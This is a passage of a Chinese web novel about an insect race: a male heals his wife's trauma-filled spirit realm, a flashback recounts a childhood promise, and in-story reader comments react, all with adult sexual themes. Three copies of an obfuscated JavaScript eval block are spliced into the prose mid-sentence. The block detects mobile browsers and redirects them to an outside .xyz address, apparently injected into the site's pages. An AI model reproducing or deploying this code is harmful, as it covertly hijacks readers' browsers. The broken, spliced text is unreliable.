席安看着克莱尔腿上那流淌着鲜血又在强大的自愈力下自动愈合的伤口,看着伤口周围深深浅浅的痕迹。 他的脑海里空蒙蒙一片空白,几乎失去了所有思考能力,甚至忘了自己能调用精神力修补一切,下意识想用双手将那流血的伤口捂住,又怕弄疼了克莱尔,碰都不敢碰,只有眼泪吧嗒往下掉。 克莱尔没想到“幻象”会在这时候出现。 可能是他的理智已经到了极限,难以再维持清醒。 看着那张和席安一般无二的脸掉眼泪,他的心还是会跟着揪起来。 “别哭,我没事的,是我吓着你了吗?别怕,雌虫的自愈能力很强,很快就会恢复,我把你平安带回军区。” 他这话一出,席安的眼里掉得更多了。 这就是当初的真相,这就是克莱尔在信息素下维持理智将他带回军区的办法,这就是第九军团所有虫都不敢告诉他的事。 席安知道,这一切都是克莱尔亲身经历过的、是他无法改变的过去。 他不仅仅是在为面前克莱尔的伤口哭,也是在为克莱尔当初所经历的、而他毫无所觉的一切。 席安甚至想到了另一个更可怕的可能。 这里是克莱尔的精神内景。 也就是说,克莱尔每一天都在重复那场逃亡。 不断重复着注射抑制剂、划开血肉、与天伽作战、在他的信息素和身体的痛苦中备受煎熬……且永远没有解脱。 现实中的克莱尔带他回到了第九军区。 而克莱尔的灵魂却被永远困在了那一天,永远没有出路。 大颗大颗的眼泪往下掉。 席安伏在克莱尔膝上,无声痛哭。 “席安,你别哭,别哭,我会带你回去的……” 克莱尔完全慌了神,甚至忘了后方追击的天伽,仅剩的理智让他在哄雄虫前匆匆将机甲改为自动驾驶。 他的意识告诉他这只是一个“幻象”,但他的感情让他失去了所有判断能力,什么都顾不上。 “我会带你回去,我会带你回去……” 克莱尔跪在血泊里,抱着他的雄虫,一遍遍重复这句话。 他只想让他的雄虫不再害怕哭泣,为此他愿意献上一切,哪怕是生命都不为过。 雌虫哄雄虫的办法实在是少得可怜。 如果是关系亲密的雌虫,会选择直接献上自己的身体,将雄虫拉入情谷欠,让雄虫没空再悲伤。 如果是权势财富出众的雌虫,会给雄虫买买买,献上无上的珍宝,逗雄虫一笑。 但这两种方法都不适用于当下的情况。 克莱尔急昏了头。 若非雄虫还在这架机甲上,需要他的照料,他或许会直接引爆自己的虫核,去跟后边的天伽拼命。 “克莱尔……回去了,你已经带我回去了……” 席安埋在克莱尔怀里,心如刀绞。 他想要紧紧抱住克莱尔,想要感受他的体温和心跳。 哪怕这只是精神内景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687811|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里属于克莱尔的一缕意识。 听到席安的话,克莱尔有一瞬的迷茫。 脑海里似乎浮现出了什么记忆画面,却又很快化为虚无。 他用力摇了摇头,对席安道:“你再给我点时间,我一定会把你平安带回去。” 他说着,又回到驾驶椅上,握住了操纵杆。 席安见他一副完全说不清,像是沉浸在了自己剧情里的NPC模样。 他实在不忍他一直痛苦紧绷下去,干脆一咬牙,爬到了克莱尔身上,捧住他的脸。 他没敢碰克莱尔那条受伤的腿,哪怕伤口早已自动愈合。 “你听着,你已经把我平安带回去了,你把我保护得很好,现在轮到我了,我会为你修补好你的精神域,还有……后面那群天伽。” 席安说着,目光凌厉,话语间杀气毕现。 克莱尔的精神内景并不仅限于这架机甲,后边那些追击的天伽也包含在内。 那些天伽仿佛永远不知疲倦,杀也杀不完,不管克莱尔操纵机甲摧毁掉多少战舰,过段时间它们又会重新出现。 那些并不是真正的天伽。 它们是克莱尔内心深处危险的化身。 他害怕危险伤害席安,夺走他们的生命,所以精神时刻紧绷,没有一息放松。 席安明白,比起修补机甲,他更应该把那些天伽解决了。 精神力如潮水般涌出,无尽的精神丝线扑向后边的天伽战舰,将它们全部冲毁搅碎清除。 一架架天伽战舰在精神力的围剿下,化作黑雾湮灭凋零,仅剩的残骸也被雄虫的精神力吞噬殆尽。 过了许久,这场精神风暴才得以停歇。 偌大的星海之中,只矗立着一架深红的机甲。 以毁灭换来生机。 “我的机甲名字叫涅槃,代表着浴火重生,从毁灭中重生,我也会为你带来新生……” 席安低头,亲吻在克莱尔脸上,郑重而珍惜。 被他捧着亲的克莱尔呆坐在驾驶椅上,看起来呆呆傻傻的,完全回不过神来的模样。 席安又在克莱尔眼角珍惜地亲了亲。 他看得出克莱尔需要一段时间的修养,他悄然退出精神域。 临走前,将地上、驾驶椅上还有克莱尔身上……所有的血迹清除干净。 …… 席安的精神力回归身体。 他们还在主卧床上,面前的克莱尔仅穿着一件睡袍,表情空白,又透着深深的餍足和倦意。 “阁下……” 即使眼皮都打架了,克莱尔还是努力看向席安,想要解释。 席安倾身上前,抱住克莱尔的脑袋,低声道: “睡吧,明天再说。” 雌虫接受完精神梳理后,身体骤然轻松下来,很容易感到餍足和困倦。 简单来说,会犯困。 得到他这句话后,克莱尔脑海中的弦一松,再也坚持不住,被困意席卷,沉沉睡去。 席安静静抱着他,过了许久,他将脸埋进克莱尔颈间,深深吐出一口气。 随后亲了亲他的下颚,额头,又揉了揉他干爽漂亮的银白头发。 看到精神内景中的一切后,席安一点都不在意克莱尔踢他的事了。 他现在只对克莱尔只有满满的心疼和愧疚。 这样又揉又亲了好一会,席安想起什么,打开终端,给克莱尔检测了下精神情况。 【精神状态70分】 才70分,席安对这个结果不太满意。 但克莱尔的情况太严重,哪怕是他,也没法直接给他全部修复好。 好在最难的一步已经走完,后面只需要细水长流,慢慢温养,就能让克莱尔渐渐恢复。 席安退出检测,发现自己的私虫号上有几条未读消息。 是家里虫发来的。 席安猛然想起自己忘了什么。 ——忘了告诉家里虫他结婚了。 这也没办法,克莱尔的精神状况太糟糕,他忙着跟他结婚、给他做精神梳理,实在无暇顾及其他。 不过,成年雄虫娶雌虫是很正常的事,甚至是值得鼓励的事情,谁也没法说他什么。 席安只心虚了一秒,就说服了自己。 虫族幼崽成年即独立,哪怕是雄父雌父也不能强行干涉幼崽的婚姻选择,当兄长的就更没权力这么做了。 席安一边抱着克莱尔,一边抬起手指在光屏上点触,轻飘飘回了句: “我刚结婚,在度蜜月,别打扰我,有事之后再说。” 这样说似乎太冷酷了,席安又补了句: “等我雌君状态好一点,我会带他回家,跟雄父雌父见面。” 不过这至少得一个月后了。 蜜月很重要! ……】 14.雄虫新兵x昔日教官9 雄主独自在家,因法案的事担心受怕,卡西安只能火力全开,以最快的效率结束手里的工作,将其他事务交代下去,提前回家陪雄主。 白化雄虫小小一只,整只虫埋在他怀里也没什么重量,轻得不真实。 卡西安调整了下姿势,让雄虫趴在他身上,头枕着他的胸膛,终于有了些实感。 但还是太瘦了。 卡西安摩挲着雄虫骨节分明的手腕,白到近乎剔透的皮肤,甚至能看到底下浅粉的血管。 精心呵护养了这么多年,也就比在福利院的时候多了几两肉。 手腕的终端忽地亮起。 不省心的弟弟终于知道给他回消息了。 卡西安一手轻覆在雄虫眼皮上,避免光线刺激到雄虫脆弱的眼睛,另一只手点开光屏查看消息。 结婚,蜜月,雌君?!! 卡西安瞳孔地震,差点一口气没上来。 原本熟睡的雄虫察觉到什么,埋在他胸膛的脑袋动了动,缓缓睁开眼,拉下遮盖在眼睛上的手,迷蒙问: “怎么了?卡尔?” 卡西安顿时心生歉意,怒火卡在一半没能提上去,放柔声音道: “是我不好,打扰到雄主休息了。” 他调低了光屏亮度,房间里只剩下点点微光。 白化雄虫视力不好,畏光,各方面都很脆弱。 像是原始时期那些只适合被伴侣珍藏在巢穴深处的雄虫。 艾拉眨了眨眼,想说C级雄虫没那么脆弱。 很显然,卡西安对他身体的印象还停留在十几年前,他还是个F级末等雄虫的时候。 不过就算F级升到C级,其中的差异对强悍的S级雌虫来说,完全可以忽略不计,都是脆弱到难以想象的生物。 艾拉也就懒得强调了,只问: “出什么事了吗?” “……席安结婚了。” “嗯?小说吗?还是……” 看卡西安糟糕的表情,艾拉猜到了点什么。 哇哦,小说现实双结婚。 卡西安跟席安是年龄差距大的亲兄弟。 在虫族家庭里,雄虫是不负责带孩子的,幼崽由雌虫照顾。 雌虫工作繁忙时,年长的雌虫幼崽也会负责照顾和管教年幼的幼崽。 席安可以算是卡西安一手带大的。 雌虫都是喜欢幼崽的,但他跟卡西安之间等级差太大,他还有基因缺陷,他们差距大的像是两个物种,注定不可能拥有亲生幼崽。 卡西安或许也因此对席安投射了更加复杂的感情,把席安当半个幼崽养。 自己在意的弟弟兼“幼崽”一声不吭就结婚了,找的雌虫还不知道是好是坏、虫品如何,卡西安当然会惊怒难过又担忧。 艾拉也陪着他犯愁。 “这可该怎么办呢?要不要把他叫回来问问?让他带上雌虫一起回来,军区的雄虫有假期吗?” “不用管他,他忙着度蜜月呢!” 卡西安气得关了光屏,心道他再管席安他就是狗。 下一秒就想,等席安“蜜月”结束,他再收拾他。 现在,他需要先被他的雄主收拾一顿。 “打扰雄主休息,我真该死,请雄主罚我。” 卡西安温顺平躺下来,拉过白化雄虫的手放到脸上。 哪有雌虫请罚是这样请的?分明是有恃无恐。 艾拉舔了舔锋利的小犬牙,嗷呜一口咬在雌虫喉结上。 …… 【虫族怎么可能会有真爱? 哪怕他哥为了一个有缺陷的白化雄虫跟家里闹得很僵,连幼崽都不打算生了——雌虫都很喜欢幼崽的。 年幼的席安也只觉得是他哥脑子不清醒、被雄虫的甜言蜜语蛊惑了。 十年一度的军团大比在首都星举行,他雌父作为首都星总督当然要到场,小席安也被带着一同前往。 小席安对炫酷的机甲对战和帅气的雌虫决斗还是很感兴趣的,但对于他雌父跟一群军部高官说没营养的场面话就兴致缺缺了。 他找了个机会溜出来。 这里的场馆太大了,整个军区驻地被分成许多个赛场,同时进行多场比赛。 小席安虫小腿短,迷迷糊糊在赛场中逛着,有些迷路。 他倒也不担心走丢或遇上虫贩子。开什么玩笑?这里是军区呢,到处都是来自联邦各地的精锐军雌,什么虫能在这里拐卖幼崽? 军雌们热情高涨的呼声吸引了他的注意,他寻着声音,走进其中一个场馆。 一进来就看到张着巨大翅翼的雌虫在天上飞行、碰撞,又以极快地速度带着对手砸向地面,引起看台上的阵阵惊呼。 看台和赛场之间防护墙太高,席安努力踮起脚尖,也看不到里面的战况,急死他了。 旁边传来一声低笑,然后席安腰上一紧,身体却忽然变得轻盈,视线越过护栏,场内的一切一览无余。 哇呜—— 他被虫抱了起来,被放到了……对方的肩膀上。 席安低下头,只看到一个银色短发的脑袋。 这是个相当高大的军雌。 席安第一次体验这么高的视野,感觉自己长到了两米。 太高了,他下意识抱住了银发军雌的脑袋。 “现在看得到了吗?小幼虫。嗯?吓着了?” 被他骑着的军雌问他,察觉到他的紧张,偏过头来想看他,犹豫要不要将他放下来。 “才没有!” 席安掰过他的脑袋,让他看向前方。 他才不要被看到涨红了脸的样子,会被嘲笑的。 军雌似是笑了,笑声特别苏,传到耳朵里暖暖的。 明明是低沉冷酷的声线,带上笑意后,就让幼虫觉得温暖和信任。 银发雌虫身上的味道清清冷冷的,闻起来有些凉,是小幼虫都喜欢的冰激凌。 但他身上却很暖和,固定着他腿的手很有力量,能给虫带来安全感。 席安根本没认真看场上的雌虫是怎么打的,连谁赢谁输都不知道。 他享受着这高而广的视野,整只虫轻飘飘的,又暖呼呼的,克制不住地傻笑,感觉很开心,又不知道为什么开心。 他雌父工作总是很忙,日常家中相处,也总是克制而有距离感的,像把幼崽举起来让骑脖子上这种事,在他们家里绝对不可能出现。 他哥以前倒会把他抱起来,颠颠他的重量,逗他玩。 但这几年,他哥感情不顺,跟家里闹得很僵,回家的次数也少了。 有那么一刻,席安忍不住想,如果这只虫也是他的家虫就好了。 虫族幼崽的家虫无非就是雌父雄父、兄弟、还有雄父的其他雌侍…… 席安指的当然不是这个。 他是说,他是他的。 独属于他的。 小幼虫对这个概念还很模糊,只有一个隐隐约约的渴望。 赛场上的虫换了一批又一批,最后终于到了决赛的时刻。 作为冠军的奖章出现在高台之上,场上的全息大屏幕给了奖章一个特写。 金色的星辰奖章,特别漂亮。每一条锋利的菱角和线条都带着极致的工艺之美,就如被誉为战争机器的军雌本身。 全场的视线都集聚在那枚奖章上,军雌也看了过去。 席安脱口而出一句“好漂亮”。 “你喜欢?”军雌有些意外地问了句。 “嗯。”席安应了声。 对美的追求是每只虫都有的,更何况那枚奖章被赋予了如此多的荣誉。 即使奖章本身没有意义,打败那么多的军雌、夺取奖章,也代表了非同寻常的意义。 席安没想那么多,他只是单纯觉得奖章好看,像星星。 “我把奖章赢回来送你。”军雌说了句。 “欸?” 席安正不解着,就听到广播声叫出一个名字。 “第九军团——克莱尔少校!” “该我上场了。” 银发军雌将他从颈后抱下来,放到防护墙顶部的平台上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693256|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 随后单手一撑,从他身后翻越护墙,进入赛场。 像是一只大鸟从他头顶飞过。 满场响起克莱尔的名字,看台上的军雌们摇旗呐喊助威。 席安这才意识到,这位银发军雌也是这场比赛的参赛者。 只是他的那半场比赛早早结束,他来这里,是在等待着他的对手被选出来。 银发军雌迈着沉稳的脚步走入场中,席安听到了自己的心脏砰砰跳动的声音。 他似乎也被现场热烈地氛围所感染,想要跟着高呼克莱尔的名字。 战斗开始,他的对手第一时间就亮出翅翼,冲向克莱尔,直接跳过了格斗试探环节,进入虫体搏斗阶段。 半虫化和虫化状态下的虫族战斗力飙升,这相当于是见面直接开大了。 克莱尔不避不退,径直迎了上去。 虫甲与肉身的碰撞,席安看得提心吊胆。 直到克莱尔放出银白的翅翼,手臂覆盖上虫甲,一举将对手击退百米,他才悄然松了口气。 战斗还未结束,雌虫都皮糙肉厚,格外耐打,那只倒地的雌虫一瞬间就飞了起来,又是新一轮的搏斗。 席安看着看着,突然发觉不对劲,怎么感觉越来越远了? 确实越来越远了,克莱尔一直掌控着战斗节奏,将对手控制在远离他的那个半场里。 席安并不是迟钝的虫,他看了看坐在防护墙上的自己,意识到克莱尔此举的目的。 他怕战斗波及了他,所以才一直将对手控制在另一边,哪怕这会花费许多不必要的时间和精力。 这也从另一个角度说明了克莱尔在这场战斗中的游刃有余,对手已经被逼至完全虫化,而他仍然保有着余力。 最后的结果也注定了。 当克莱尔进入完全虫化状态后,他只用了不到一秒,就彻底结束了战斗。 席安连他的虫化形态都没看清,只记得是银白色的,特别大,特别漂亮。 克莱尔已经变了回去,迈步从烟尘中走出。 满场高呼着克莱尔的名字,虫族是慕强的种族,强者能得到所有的敬意和崇拜。 席安也跟着喊,兴奋地朝克莱尔招收,甚至激动得从防护墙上站了起来。 领奖台上的克莱尔变了脸色,致辞都只匆匆说了一句,就立刻返回,将他从防护墙上抱了下来,脸上仍带着些后怕。 面对从军雌中千挑万选出的强大对手他都不怕,这个小祖宗在防护墙上又蹦又跳把他吓坏了。 “克莱尔,克莱尔,好厉害!” 小席安激动地抱住他的脑袋。 克莱尔微勾起嘴角,没虫不喜欢听到肯定与称赞,这些称赞从漂亮的小幼虫口中说出来,尤为真诚。 他不敢把小幼虫往护墙上放了,半蹲下身,将小幼虫放到地上,把胸前的金色奖章解下来,递给他。 “喽,你喜欢的奖章,给你赢回来了,送给你。” 席安扑闪着眼睛看那漂亮的奖章,戴在军雌身上很合适,但捧在他手里就很大一个,沉甸甸的。 雌虫为心上虫赢下荣誉,将其奉予雄虫、讨雄虫欢心的故事,在虫族屡见不鲜。 这跟求婚跟示爱没什么两样了。 但他还是只幼虫欸。 小席安皱着脸考虑了好一会。 就在克莱尔以为他不喜欢时,小雄虫突然凑过来,在他脸颊上亲了一下,抱着奖章认真道: “我长大后娶你!” 克莱尔当然不会把小雄虫的童言稚语当真。 认为小雄虫过两天就把这件事忘得干净了。 但实际上,将一切忘记的是他。 …… 席安从久远的梦中醒来,看着熟悉的天花板,一时没回过神。 身旁躺着一具温热的身体,味道熟悉又好闻,能给虫带来充足的安全感。 是克莱尔。 席安将脸埋进雌虫颈间,深吸了一口清凉如冰激凌的香甜味道。 他终于娶到了克莱尔。 ……】 15.雄虫新兵x昔日教官10 [不是?等等、怎么回事?席安阁下小时候就决定娶克莱尔?] [克莱尔还把席安阁下给忘了??!] [啊???] [说了克莱尔拥有免喷权的,但是这个我是真忍不了啊,克莱尔你怎么敢的啊?!] [要是有雄虫许诺以后娶我,我能记一辈子!一辈子!] 这些雌虫已经气疯了,怒火夹带着嫉妒,让他们失去了理智。 但还有稍微冷静些的。 [冷静点,席安阁下那会还是幼崽呢。] [就算小幼崽说的是真的,克莱尔作为一只成年雌虫也不能当真啊。] [怎么不能当真?明明很刑啊,很可拷啊,可狱不可囚的生活就在眼前!日子越来越有判头了!] [咳……也不是那个意思,也不是一定要做点什么,就是……至少不能忘记吧?] [这一点克莱尔全责,那么把他判给席安阁下处置!] [这跟奖励有什么区别?克莱尔这家伙,还是太好运了。] [不是?怎么下一届军团大比的报名这就爆满了?卡得我连官网都点不进去了,什么情况?] 此话一出,评论区画风陡变。 [靠!我说怎么没有虫在评论区说这件事,都偷偷去报名了是吧?] [你们这些天伽的!太阴了!] [不是?你们在说什么?我怎么听不懂。] [反应这么迟钝的活该没雄主,一边玩去吧。] [现在所有虫都知道雄虫阁下喜欢星辰奖章,拿到军团大比的奖章就能讨雄虫欢心,收获一个雄主,可以想象下一届的军团大比竞争有多激烈了。] [我靠!早说啊啊啊啊!!!] [报名系统已经瘫痪了!这玩意居然还能瘫痪?我真的是在星历7052年吗?] 雌虫们绞尽脑汁想要报名军团大比获得奖章。 雄虫们也忍不住想,我的雌虫有没有送过我奖章?之前追求我的军雌爱慕者有没有奖章? 还有先前因为精神梳理比较难而推掉的基因匹配的军雌,据说很优秀的样子,要不要约出来见一见? 在这一刻,奖章本身如何已经不重要了,重要的是它所代表的东西。 雄虫的想法都很简单:别的雄虫有的我也要有!没有就落入下乘了! 与此同时,基因匹配中心收到了很多雄虫找军雌约会的申请。 负责虫一脸简直见鬼了的表情。 雄虫什么时候会主动找雌虫约会了? 还都是找军雌! …… 【“克莱尔……” 席安埋在克莱尔怀里,环抱住他,轻轻唤着他的名字。 他对克莱尔又感激又心疼,还特别喜欢。 心中的依恋和欢喜让他忍不住抱着雌虫蹭了蹭。 可是克莱尔好暖和,明明信息素是很高冷的感觉,抱起来却暖融融的。 身材也好好,哪怕隔着睡袍,都能感受到下面结实柔韧的肌肉,贴上去好舒服。 蹭一下,再蹭一下。 不自觉就蹭得多了。 克莱尔刚经历过一场深度精神梳理,睡得很沉。 但军雌的生物钟和怀里毛绒绒乱动的奇怪触感还是将他唤醒。 一睁眼先看到陌生的天花板,发现自己怀里有一只雄虫。 身旁萦绕着浅淡的雄虫信息素,不是很浓,不会激起他的身体本能反应,反而让他觉得出奇的餍足和平静。 大脑从未如此轻松安宁,舒适得像是回到了幼时的蛋壳中。 即使克莱尔从未经历过,也知道这是经过雄虫精神精神梳理后的状态。 这样的情形,简直像是某些雌雄小说里描写的意外和雄虫一夜情。 还得是非常好心的雄虫,居然愿意在睡雌虫的同时来一次精神梳理。 克莱尔从不相信那样小说的情节。 他很快想起,自己结婚了。 不是什么一夜情。 他跟席安……结婚了。 克莱尔低头看向怀里,入目的是一个红色的脑袋,毛绒绒的,他的心好像也变得毛绒绒的。 像是在做梦一样…… 席安发现了克莱尔转醒,他偷蹭的动作一僵,手忙脚乱地拉开距离,假装自己没蹭过。 “咳,醒了?先吃饭还是先吃……” 瞥到克莱尔被蹭得敞开的睡袍领口,席安差点咬到舌头说错话,最后只能匆忙改口。 “我是说……还是先去晨练?” 军队的虫都有晨练的习惯。 时间通常在早餐之前。 克莱尔的脑子其实还没转过来,下意识回答了句“晨练”。 于是,席安便拉着他起床,去衣帽间换衣服。 这是他们婚后的第一个早晨。 席安有很多想跟克莱尔说的,又想将那些暂且抛到脑后,静静跟克莱尔享受他们的婚后时光。 他的衣帽间很大,摆满了各种礼服高定。 其实大部分他都没穿过,成为军雄之后,就很少有穿其他衣服的机会,只是仍保留着买买买的习惯。 席安找了套训练服出来,递给克莱尔。 这是他的衣服,尺寸跟克莱尔肯定不搭。 不过没关系,高端训练服本身就会根据主虫身材改变尺寸,就算是破了,也会自我修补,很适合打架爆衣放翅翼的雌虫。 接过训练服的克莱尔与席安四目相对。 克莱尔其实有自己的衣服。 之前精神极危,经常无意识拆家,他把自己的大部分物品都收到了空间纽里。 但席安问:“需要我回避吗?” 克莱尔立刻道:“不用!” 他们已经结婚,没有婚后雌虫换个衣服还让雄主回避的道理。 他昨晚已经把新婚之夜搞砸了。 不能再让一切往更糟糕的方向发展。 克莱尔直接动手脱下睡袍,更换训练服。 席安本来想意思下背过身的,但是…… 哇哦—— 身材真好啊。 他抬手遮住发烫的脸,眼睛激动扑闪着。 克莱尔个子很高,肩宽背阔,肌肉强健又漂亮,胸肌好大,让腰的视觉效果显得很窄,更下边…… 席安捂着脸往下看,遗憾地发现克莱尔已经把衣服穿上了。 收到雄虫有些怨念的眼神,克莱尔动作一顿,反省自己是不是哪里做得不对。 ……】 追文的雌虫看到这里已经忍不下去了。 [克莱尔这个傻叉!就不会骚一点吗?雄主看着呢,他穿那么快干什么?!] [指望他发骚?别忘了,他是能一边流着水、一边开机甲,根本不往雄虫那边看的绝世狠虫!] [席安阁下的表情多可爱啊,他跟一个瞎子一样!] [穿个衣服比上床脱衣还快,急着去生蛋呢?哦,忘了,他昨晚上床根本就没脱衣服,也没蛋可生。] [就他这样子,一百年内能不能揣上虫蛋都悬。] 还有虫的关注点在别的方面。 [席安阁下喜欢这种身材吗?我是不是应该把胸再练大点?] [腰身比也很重要,记下记下。] [时代审美变化太快了,之前还流行纤细款雌虫,刚减下来又得增肌(猛雌叹气)。] …… 【见克莱尔穿好衣服,席安也拿了套训练服换上。 克莱尔全程没敢抬头,只盯着自己鞋尖。 雌虫敏锐的听力,让他能捕捉到每一次衣料摩擦过皮肤的声音。 什么都看不到,反而克制不住去想。 其实……什么也想象不出来。 雌虫有限的想象力只能在脑海中构建一个模糊的轮廓。 却还是让克莱尔燥得不行。 不能再想下去,那会弄脏席安给他的衣服。 克莱尔用力闭了下眼睛,赶紧切断思绪,逼着自己想一些别的东西来转移注意力。 昨夜的种种浮上脑海,克莱尔面上的热度骤然退去。 他昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15700119|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚表现得太差了。 弄成这样的雌虫,应该第一时间被丢进惩戒室。 席安实在是太过心善。 居然让他去训练室晨练,而不是让他去惩戒室领罚。 也可能是看着他精神域还未彻底修复的份上。 不管怎么说,他都欠雄虫一个解释。 “阁下,我……” 克莱尔开口。 席安不悦抬眸,“还叫‘阁下’?” 克莱尔呼吸微滞,意识到雄虫的意思。 但……他真的可以吗? 他将那个特殊的词在舌尖咀嚼了两遍,才试探着吐出: “雄主。” 席安矜持点了点头,压制住勾起的唇角,眼里的笑意却难以止住。 他脚步轻快地走到克莱尔面前,伸手为他整了整衣服,道: “说吧,想跟我说什么?” “昨晚不是故意踢您……也不是不肯跟您睡觉……” 这话应该跪着请罪才合适,但雄虫的手还落在他肩上,克莱尔只能硬着头皮站着说。 他还比雄虫高一些,低头的时候嘴唇差点擦过雄虫的耳尖。 席安耳朵有些痒,略偏了下头。 他当然知道克莱尔不是故意的,也早就不计较那些事了。 比起克莱尔踢他的那一脚,克莱尔自身的情况更令他担忧。 “我知道,我看到了你的精神内景。” 提起这个,席安的心情还是不由沉重。 那画面太过惨烈了。 他仅仅是看到就吓得面无血色,四肢发凉。 而作为亲历者、并在精神内景中不断循环那一天的克莱尔,他承受的又是怎样的压力和痛苦? 席安抱住克莱尔,将脸埋进他颈间,感受着他温热的、完好无损却又支离破碎的身躯。 “为什么不告诉我?” 席安既心疼他,又为他的隐瞒感到委屈和难过。 “在我晋升高热昏迷期间,你为我做的那些事,为什么不告诉我?” 克莱尔身体微僵,脑子里全是雄虫抱过来的柔软触感,过了会才意识到对方指的是什么,顿时更加僵硬。 “您已经知道了?” 克莱尔声音微哑,努力回想自己当时的状态。 绝对说不上好,在信息素下丑态毕露,鲜血淋漓,狰狞又狼狈。 他喉结艰涩滚动,干巴巴开口,几乎不知道自己在说什么。 “将您平安带回军区是我的责任,其中细节,您不用知道……我很抱歉弄脏了您的机甲……” 说到最后,他颓然沉下肩,像是泄了所有力气。 席安本来都快泪目了,听了他这话直接气得咬他。 他心疼难过成这样,结果克莱尔说不该弄脏他的机甲??? 这一口咬破了克莱尔的耳朵。 雄虫的唾液中同样含有信息素…… 席安被猛地推了开,克莱尔的身体重重撞上了身后的透明衣柜,面色氵朝红,呼吸急促,身体紧绷。 “克莱尔?” 席安没想到会造成这样的后果,慌了神。 他一直很注意信息素的释放,却忘了自己的唾液。 雄虫咬伤雌虫后,信息素会直接进入雌虫血液循环,带来更加强烈的效果,能让雌虫瞬间发晴。 更何况他跟克莱尔的适配度还很高,克莱尔很难抵抗他的信息素。 他们之间的情况还…… “对不起,我不是故意的,没想让你难受……” 席安连声道歉,赶紧上前查看克莱尔的情况。 手刚接触到克莱尔的手臂,就激起底下身体剧烈的颤抖,哪怕他们之间还隔着防护效果很强训练服。 他的手被猛地甩开。 克莱尔喘.息得更加厉害,浑身濕得像是从水里捞出来的。 腿软得几乎站不住,身体顺着衣柜往下滑,理智岌岌可危,却还在艰难地抵抗着什么。 “不,不行,我不能……不能……” ……】 16.雄虫新兵x昔日教官11 【克莱尔的情况看起来很严重。 席安下意识启动房间的信息素净化装置。 这当然没有任何效果,被雄虫咬伤后,信息素直接进入了血液循环,而非存留于空气中。 这种情况,只有被雄虫上或者注射抑制剂才能平复下来。 席安心绪快速转动,思索对策。 克莱尔对他满身抗拒,强行做会让他痛苦万分。 精神内景里看到的惨状也让他不忍心用抑制剂。 席安一咬牙,将克莱尔从地上抱起来,将他带进浴室。 雌虫一被他碰就颤抖挣扎,落地就想逃跑。 席安单手一撑、膝盖一顶,把想要逃跑的雌虫堵在墙角,打开淋浴器,冰凉的冷水猛地洒下。 急促的喘息在浴室水声中依旧清晰可闻。 雌虫腿软得不断往下滑,席安的手揽过他腋下撑起他的身体,另一只手抬起他被水打得苍白潮濕的脸。 “清醒些了吗?” 克莱尔的呼吸声还是很重,身体不受控制地微弱颤抖,涣散的视线逐渐凝聚在他脸上,迷蒙辨认着他。 “……席安?” “嗯。”席安应了声,心里有些意外。 指望冷水让发晴状态下的雌虫冷静下来根本不现实。 可克莱尔竟真的清醒了过来。 想起克莱尔是怎么练就这样强大的自制力,他心里就不是滋味。 这只雌虫对自己严苛到了近乎残忍的地步。 浴室中一时静默,只能听到水声和交织的呼吸声。 离得有些太近了。 席安的睫毛挂上了水雾。 淋浴器一视同仁,将他们双方打濕。 训练服有调节温度的功能,身上倒没什么冷意,唯有头脑在冰冷的刺激下格外清明。 克莱尔眸中恍惚与清醒交替,视线滑过雄虫滴水的额发和睫毛,渐渐想起自己都做了些什么,面色愈发苍白。 他又一次拒绝了雄虫。 任何一只雄虫都无法容忍这样一而再的拒绝。 这并不是他的本意,可身体就像是在跟他作对一样。 他明明痴迷着席安的信息素,很想被他侵入占有。 可真当那信息素的味道铺展开,他却又抗拒甚至恐惧着与对方接触,仿佛这会带来他无法承受的后果。 没有雄虫能容忍这样的一再冒犯。 “雄主,您给我注射肌肉松弛剂吧……用肌肉松弛剂就好了……” 克莱尔哀声祈求。 这不是雄虫对他的强迫,而是他自己的祈求,雄虫不用对此有任何负担。 席安神情犹豫。 他明白克莱尔的意思,克莱尔想用这种方式履行当雌君的义务,被他占有。 但席安当然不愿意用这种会伤害他的东西,而且…… “用肌肉松弛剂……会很松吧?” 席安忍不住道。 克莱尔表情一瞬空白,整只虫都僵了住。 会、很、松、吧? 雄虫的声音在耳边回荡,克莱尔羞愧难忍避开视线,咬牙紧抿着唇,脸色黑沉得难看。甚至连体.内的情氵朝都在瞬间压了下去。之后再也没提过这种药剂。 ……】 #克莱尔 松# 一个充满恶趣味的话题登上星网热议。 雌虫们幸灾乐祸,不断为热度添柴加薪。 [哎呀呀,克莱尔怎么回事,新婚第二天就被雄主嫌弃了。] [雄主说克莱尔很松弛~] [没关系的,别担心,席安阁下是超A级,就是那种超大、超能干的超A级,雌虫松弛一点也不影响,反正会被填满的。] [哇靠,这么一说,更嫉妒克莱尔那家伙了。] [好馋,好想让雄主哔——我,我比克莱尔*。] 